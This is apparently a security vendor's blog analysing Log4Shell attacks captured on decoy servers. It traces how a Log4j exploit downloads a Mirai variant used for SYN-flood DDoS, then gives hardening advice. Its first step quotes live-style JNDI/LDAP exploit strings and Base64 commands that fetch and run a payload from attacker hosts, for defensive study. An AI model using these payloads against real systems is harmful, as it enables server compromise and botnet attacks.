Did you ever wonder how quickly you need to react to a newly discovered zero-day exploit? Is a one-week turnaround fast enough? A few days? Or maybe a few hours?
There is a reason why the days after the Log4j CVE was first announced are referred to as the “weekend from hell”. It’s a bit of all of them – there are actions you need to take immediately, followed by others in the days and weeks after.
In our recent blog (deception – early warning), we showed how our internet-facing decoys started seeing exploit attempts minutes after the CVE was released. And how, after a few hours, we saw a high peak in scanning activities of the decoy services.
In this blog, we detail the progression of Log4shell attacks after the initial infection. For this analysis, we used decoys that were deployed in public locations around the world.
Log4j Analysis
Based on our analysis of attacks against publicly deployed decoys, the most prevalent attack payload currently being dropped is a variant of the Mirai malware. Mirai botnets are formed from compromised servers to launch large scale distributed denial of service (DDOS) attacks. The more compromised servers that join the botnet, the more powerful a DDOS weapon it becomes. We see attackers using the Log4j vulnerability to infect a victim server, and then use that server as the source of a SYN Flood attack on a victim server.
Because the internet is constantly being scanned, detecting vulnerable machines happens very quickly. We noticed scanning activities on decoys immediately after they were deployed. In some cases, this was minutes after the machine first received its IP. In most cases, this scanning happens less than a couple of hours after the decoy is deployed. In the attack steps below, we see how a single HTTP request can quickly infect a machine.
This analysis is from data collected from several decoys deployed worldwide. We were able to match similar threat activity from private decoy installations in customer networks.
Steps of the attack
1. Attacker sends malicious payload to the vulnerable victim.
There are many versions of the payload that can be sent to bypass signatures – in multiple locations and using different encapsulation methods. For example, we identified the following payload examples on the User-Agent header, all of them exploiting the Log4j vulnerability:
- t(‘${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.?.?:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcm???????==}’)
- ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::p}://195.54.?.?:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zOC4xMDkuMTcwLjEzMjo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8zOC4xMDkuMT???????==}
- ${jndi:ldap://5.101.?.?:1389/Exploit}
- ${jndi:ldap://167.172.?.?:389/LegitimateJavaClass}
- %24%7Bjndi%3Aldap%3A%2F%2F2.57.?.?%3A8000%2F%23mss%7D
2. Victim writes the payload to a logs file, triggering the Log4j vulnerability.
The payload of the user agent header is sent to different pages, with a goal that the payload to hit the log server at least once.
3. If successful, theLDAP communication is sent to an LDAP server, IP: 135.148.?.? over port 1389.
4. The LDAP server receives and executes the malicious Java code
The Java code includes several commands, and there is a version for Linux and for Windows.
- Fetch a file from a different web server – there are two attempts to fetch – using wget and using curl.
- Change the file mode to executable
- Execute the file
5. File downloaded over HTTP
- Files are downloaded from a web server that is not the LDAP server, IP: 209.141.?.?
- We deployed different decoy servers and received different file names to download – reader, runner, py – all with the same sha256
- The file is a variant of the Mirai malware. The sha256 is: 9691061f778674bb4e28fb6a2d88a2fe72711ae71f3d2f4137654e1b5e91c9d2
- At this point, the victim is now a Mirai bot that is subject to command and control from a Mirai botnet controller.
6. Activated: when called to action, a SYN flood attack is sent to a specific victim server upon execution of the malware.
- Multiple SYN packets sent – one about every 10 seconds.
- The TCP checksum does not send the correct packet checksum and instead is constant for all packets sent – this causes the packet to not be accepted by the server.
- Retransmission causes many more packets to be sent. Because there is no answer by the server to the SYN packets, every packet will be sent on average three additional times. TCP retransmissions depends on the OS and TCP implementations.
- The malware process does not stop and continues sending 24 SYN packets per minute, until it is manually killed or the machine is rebooted.
7. For every successful Log4j compromise, an additional Mirai bot is put into service, meaning more firepower is added to the botnet in terms of more packets directed at the victim server.
- In this example HTTP request, there are 12 malicious headers, which can cause 12 malware processes to run and a total 288 SYN packets to be sent per minutes.
- Additional HTTP requests will cause additional executables, amplifying the number of SYN packets to be sent.
Variance
We’ve seen significant variance in the exact payload sent to exploit this vulnerability, and in the file names that are downloaded. This is because the attackers are actively adapting their tactics as quickly as rules and signatures are published to block these attacks.
We also see variance in IPs of temporary Command and Control servers that produce the malware file for download – both the HTTP server and the LDAP server. Typically, these servers do not stay alive for very long.
We do see consistency in the IP that is the target of the SYN flood attack.
Why should I care
One question that often comes up is if the victim server is on someone else’s network, should I care? The answer is obviously less, both from an ethical and legal perspective. And yes also from the point of view of securing your own network.
First, recognize someone is controlling assets in your network and repurposing them and your network bandwidth to engage in illegal activity. Those assets are being used to cause harm to other servers on the internet. This discovery may lead to your servers being blacklisted by routers and security devices, which will effectively drop them from the internet.
Second, while this attack is one example of recruiting bots for a DDOS botnet, these servers can be repurposed for many other attack types including a backdoor and beachhead to stage operations on internal networks. Finally, you may have legal exposure from your own assets attacking other entities including US critical infrastructure.
What now? Protect your assets
As an early warning system, deception technology will alert you of all unexpected activity engaging with decoys – whether known attack techniques or new ones that are emerging.
Data collected from these attacks provide detailed forenscis about what is happening on your network, including what attackers may be lurking and looking for vulnerabilities to exploit. This data is stored in a central repository with Fidelis Network® along with other network and endpoint data to correlate this data with other data from across the enterprise and support threat hunting use cases.
Harden your environment.
Now that you have an understanding of where you might be vulnerable and if your network is being exploited, you can focus on hardening your environment for better resiliency. While HTTP cannot be blocked in most cases, you can block outgoing LDAP traffic to unknown destinations. As well as access to unknown ports – 25565. In this case, Minecraft traffic, can be blocked in most organizations, as there often is not a business need for miners or Minecraft.
This case study demonstrates that if deception technologies are not already part of your detection and threat hunting arsenal, you’re missing an important early warning system to find and stop threats before they cause damage.
